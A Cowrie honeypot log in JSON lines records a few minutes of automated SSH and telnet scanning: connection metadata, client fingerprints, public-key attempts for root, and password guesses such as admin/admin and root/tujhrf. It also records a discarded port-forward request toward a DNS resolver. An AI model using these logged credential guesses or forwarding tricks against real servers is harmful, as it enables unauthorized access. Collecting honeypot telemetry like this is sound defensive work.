{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56392,"dst_ip":"10.17.0.5","dst_port":22,"session":"51bfb325e33c","protocol":"ssh","message":"New connection: 87.251.64.176:56392 (10.17.0.5:22) [session: 51bfb325e33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:12.376888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:12.381195Z","src_ip":"87.251.64.176","session":"51bfb325e33c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:12.478093Z","src_ip":"87.251.64.176","session":"51bfb325e33c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:12.771831Z","src_ip":"87.251.64.176","session":"51bfb325e33c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:12.872962Z","session":"51bfb325e33c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:12.976851Z","src_ip":"87.251.64.176","session":"51bfb325e33c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:13.077726Z","src_ip":"87.251.64.176","session":"51bfb325e33c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.779447555541992,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:21.592969Z","src_ip":"142.154.79.4","session":"4486dd5ff682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.26","src_port":48702,"dst_ip":"10.17.0.5","dst_port":22,"session":"e90323c47fe7","protocol":"ssh","message":"New connection: 209.90.232.26:48702 (10.17.0.5:22) [session: e90323c47fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.019291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.024932Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.100192Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:7f:43:d1:29:ed:ba:ae:c2:31:04:05:ed:0a:13:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDioqRwGwNxkbKLTsZvoESu2sXJscfISz3CrnpTFNMj/toTpLQXNZQC0Yx1T3ScInrqp/3pfu7+HLimRjQ5BIncnhmNKmNbvqE5i4C57DzlKqySwHp3xAw/60AKMoQy6lyCZPiMr03YfXuSAhl+CdNNcbdmRdqQJPx6bxz6o2PGbUU8/OhAjxKVBd8JY0Bwj8i8wPZLkuec4GvrVzeQsVko/v2I8tnynxFl7DaWfNoLXnE0ThMyREvvhdiu6uqS1y0AKBgficlLWwcqW3Yj6NqvZvW5IINsTF2Kx53eEeI8vGX5bDMR4GDk5GxdvVvW6qMgEtNrB5KbcgSxY7hv9fz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:7f:43:d1:29:ed:ba:ae:c2:31:04:05:ed:0a:13:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.435496Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:7f:43:d1:29:ed:ba:ae:c2:31:04:05:ed:0a:13:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDioqRwGwNxkbKLTsZvoESu2sXJscfISz3CrnpTFNMj/toTpLQXNZQC0Yx1T3ScInrqp/3pfu7+HLimRjQ5BIncnhmNKmNbvqE5i4C57DzlKqySwHp3xAw/60AKMoQy6lyCZPiMr03YfXuSAhl+CdNNcbdmRdqQJPx6bxz6o2PGbUU8/OhAjxKVBd8JY0Bwj8i8wPZLkuec4GvrVzeQsVko/v2I8tnynxFl7DaWfNoLXnE0ThMyREvvhdiu6uqS1y0AKBgficlLWwcqW3Yj6NqvZvW5IINsTF2Kx53eEeI8vGX5bDMR4GDk5GxdvVvW6qMgEtNrB5KbcgSxY7hv9fz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.440351Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:b1:02:3f:c3:a3:fd:85:2a:f4:fc:f3:5e:b9:48:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJW0XC9OIzL3YFSB+U8wegJ0EKxzQ5LNN3nAq8ri02lqlI8VEySawtwuTzWum1paUd8rnJcli7CZ8SDhU3rgFApj06KxNaDkaHf+QE8gGUCRw8vGSANCTatdEG7MVDW8ldPMCGMjIhTJfIVZ26GhuyPPtXrNStY1lSSYh2hKbCheZhtefwgdZaiqrq1VLjhyAdCr54xUZifBs/BzEzaVnMz+WMKxOJqpJFMGLhW3U6fvR9g7tNTjEY+2dLfIr7J4XUOZBkP1lopWfOG61aqgKaz+1s7QfhitcHsTboMnUTTKUBdPNW6eFOyjiz9NEb2UGwOkLROMvly3DOBtbSjnBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:b1:02:3f:c3:a3:fd:85:2a:f4:fc:f3:5e:b9:48:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.515163Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:b1:02:3f:c3:a3:fd:85:2a:f4:fc:f3:5e:b9:48:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJW0XC9OIzL3YFSB+U8wegJ0EKxzQ5LNN3nAq8ri02lqlI8VEySawtwuTzWum1paUd8rnJcli7CZ8SDhU3rgFApj06KxNaDkaHf+QE8gGUCRw8vGSANCTatdEG7MVDW8ldPMCGMjIhTJfIVZ26GhuyPPtXrNStY1lSSYh2hKbCheZhtefwgdZaiqrq1VLjhyAdCr54xUZifBs/BzEzaVnMz+WMKxOJqpJFMGLhW3U6fvR9g7tNTjEY+2dLfIr7J4XUOZBkP1lopWfOG61aqgKaz+1s7QfhitcHsTboMnUTTKUBdPNW6eFOyjiz9NEb2UGwOkLROMvly3DOBtbSjnBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.521625Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:c3:cf:c9:4c:f5:0f:30:10:88:b3:4c:b2:43:c0:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0MsKr03JE7sb41b+6+IIfoXaRBFGLjeN2MP5lDtYjCjP6bzwJ02/QNkdRVXQsNSk7bBBBSBqZ0idTsJfGB7PmQQhXy+eAGXrvrxHnTc7dGRXOKqySeQfcal5NDLZemK5EdRc7pxdPRgJDJQm4ADKCSVAPTBwwF6T33S1uD5YD+vgd7/wy2btlJVMj5orn/v6+DvTroNGmcCXtcNUXRyUmnEoIRPsE8FVs4e4KZVY9l/dF8X9bMiyIQOsHDiGxsb+iPOzi3MaX/WP7lZFvsPYPC9rLwWnlAdkIr2u2+fRqS8k+lxqGWd5V97b0Xej927gKegkAAxnfDlZAtTwq6enR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:c3:cf:c9:4c:f5:0f:30:10:88:b3:4c:b2:43:c0:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.597424Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:c3:cf:c9:4c:f5:0f:30:10:88:b3:4c:b2:43:c0:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0MsKr03JE7sb41b+6+IIfoXaRBFGLjeN2MP5lDtYjCjP6bzwJ02/QNkdRVXQsNSk7bBBBSBqZ0idTsJfGB7PmQQhXy+eAGXrvrxHnTc7dGRXOKqySeQfcal5NDLZemK5EdRc7pxdPRgJDJQm4ADKCSVAPTBwwF6T33S1uD5YD+vgd7/wy2btlJVMj5orn/v6+DvTroNGmcCXtcNUXRyUmnEoIRPsE8FVs4e4KZVY9l/dF8X9bMiyIQOsHDiGxsb+iPOzi3MaX/WP7lZFvsPYPC9rLwWnlAdkIr2u2+fRqS8k+lxqGWd5V97b0Xej927gKegkAAxnfDlZAtTwq6enR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.601586Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:49:9f:60:e5:ad:c0:5d:fd:7d:51:c4:1b:65:11:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyvJSr41H+aiGTRmia1lNL1p2nksmRgE1XWcKMEatmfxScOrxnvLaJpa/b7P0nc+dtBv+6lbHtQ3uCvk2wtSxhbF/IMQE8wW7ZoRqFADRly4aXxM18YbO8Rf8FdLS7NgVgLh4hAadHxes+cEqCEvT2fjKYRryoepO7PZDEAfew0MHhdchULOcU27g5jO1VmtQX1v3YFKn7Um1LcXH7Jlj8kwh7h+56HwO78q67VLIui4SecgJ9HxfH9edTU4+gfz++JO2oGBOaF6Xz35fWIYceTwn2jkNbafLDBX3Zq18vmZ0flv/NQcC3o3MERHM0dqjKExgL4f6cbf2YBPjTHln1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:49:9f:60:e5:ad:c0:5d:fd:7d:51:c4:1b:65:11:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.674052Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:49:9f:60:e5:ad:c0:5d:fd:7d:51:c4:1b:65:11:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyvJSr41H+aiGTRmia1lNL1p2nksmRgE1XWcKMEatmfxScOrxnvLaJpa/b7P0nc+dtBv+6lbHtQ3uCvk2wtSxhbF/IMQE8wW7ZoRqFADRly4aXxM18YbO8Rf8FdLS7NgVgLh4hAadHxes+cEqCEvT2fjKYRryoepO7PZDEAfew0MHhdchULOcU27g5jO1VmtQX1v3YFKn7Um1LcXH7Jlj8kwh7h+56HwO78q67VLIui4SecgJ9HxfH9edTU4+gfz++JO2oGBOaF6Xz35fWIYceTwn2jkNbafLDBX3Zq18vmZ0flv/NQcC3o3MERHM0dqjKExgL4f6cbf2YBPjTHln1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.678594Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:4c:23:7b:e6:4d:de:0d:95:16:ad:61:01:d8:d3:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkN2ySMa2fDxc7XWh077/++Fmf0LQ8x+Oocn9iPcnwVK2W2SnTlGXukD1lI8MqfIO4QtDPEEqK1hiMdv42wNZ6T4KUe3CQABcXwkx/ttphdLjmQwVqnjJzIT/qXQUQ9Z4dSVBI0v3bcGWc2l+eLpC+uE3hL74Dh8lWCDm5XIxe64O1U7o6tEpyQbT7R7cYEjznDailF5hdIxUKSXjrxT5k4slOyVSs34MdrJqBySKHQTJfti8fnuIT4pBKpSFK0v3AxXewADVWEjs9F7y3cU+bqb0pDIpXZH2j365JDM/RJ51A6nOYE2bPqsZV5/1NdlLQQAWfsJ/rJRS5c6p5AVdr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:4c:23:7b:e6:4d:de:0d:95:16:ad:61:01:d8:d3:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.752826Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:4c:23:7b:e6:4d:de:0d:95:16:ad:61:01:d8:d3:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkN2ySMa2fDxc7XWh077/++Fmf0LQ8x+Oocn9iPcnwVK2W2SnTlGXukD1lI8MqfIO4QtDPEEqK1hiMdv42wNZ6T4KUe3CQABcXwkx/ttphdLjmQwVqnjJzIT/qXQUQ9Z4dSVBI0v3bcGWc2l+eLpC+uE3hL74Dh8lWCDm5XIxe64O1U7o6tEpyQbT7R7cYEjznDailF5hdIxUKSXjrxT5k4slOyVSs34MdrJqBySKHQTJfti8fnuIT4pBKpSFK0v3AxXewADVWEjs9F7y3cU+bqb0pDIpXZH2j365JDM/RJ51A6nOYE2bPqsZV5/1NdlLQQAWfsJ/rJRS5c6p5AVdr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.756760Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:22.833703Z","src_ip":"209.90.232.26","session":"e90323c47fe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":60008,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5c2e6ce25de","protocol":"ssh","message":"New connection: 103.75.183.219:60008 (159.203.135.109:22) [session: e5c2e6ce25de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:25.552244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:25.557320Z","src_ip":"103.75.183.219","session":"e5c2e6ce25de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51404,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b7104e329c6","protocol":"telnet","message":"New connection: 152.42.224.71:51404 (10.17.0.5:23) [session: 5b7104e329c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:25.610300Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:25.798787Z","src_ip":"103.75.183.219","session":"e5c2e6ce25de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjkmgfhjkm","message":"login attempt [root/gfhjkmgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:26.526189Z","src_ip":"103.75.183.219","session":"e5c2e6ce25de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:27.771219Z","src_ip":"103.75.183.219","session":"e5c2e6ce25de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":44272,"dst_ip":"159.203.135.109","dst_port":22,"session":"3655319b2e1d","protocol":"ssh","message":"New connection: 103.172.78.219:44272 (159.203.135.109:22) [session: 3655319b2e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:43.625813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:43.630945Z","src_ip":"103.172.78.219","session":"3655319b2e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:43.881709Z","src_ip":"103.172.78.219","session":"3655319b2e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tujhrf","message":"login attempt [root/tujhrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:44.636820Z","src_ip":"103.172.78.219","session":"3655319b2e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:45.890417Z","src_ip":"103.172.78.219","session":"3655319b2e1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47202,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dd934f12d9e","protocol":"ssh","message":"New connection: 87.251.79.125:47202 (159.203.135.109:22) [session: 2dd934f12d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:48.308276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:19:48.313648Z","src_ip":"87.251.79.125","session":"2dd934f12d9e","protocol":"ssh"}
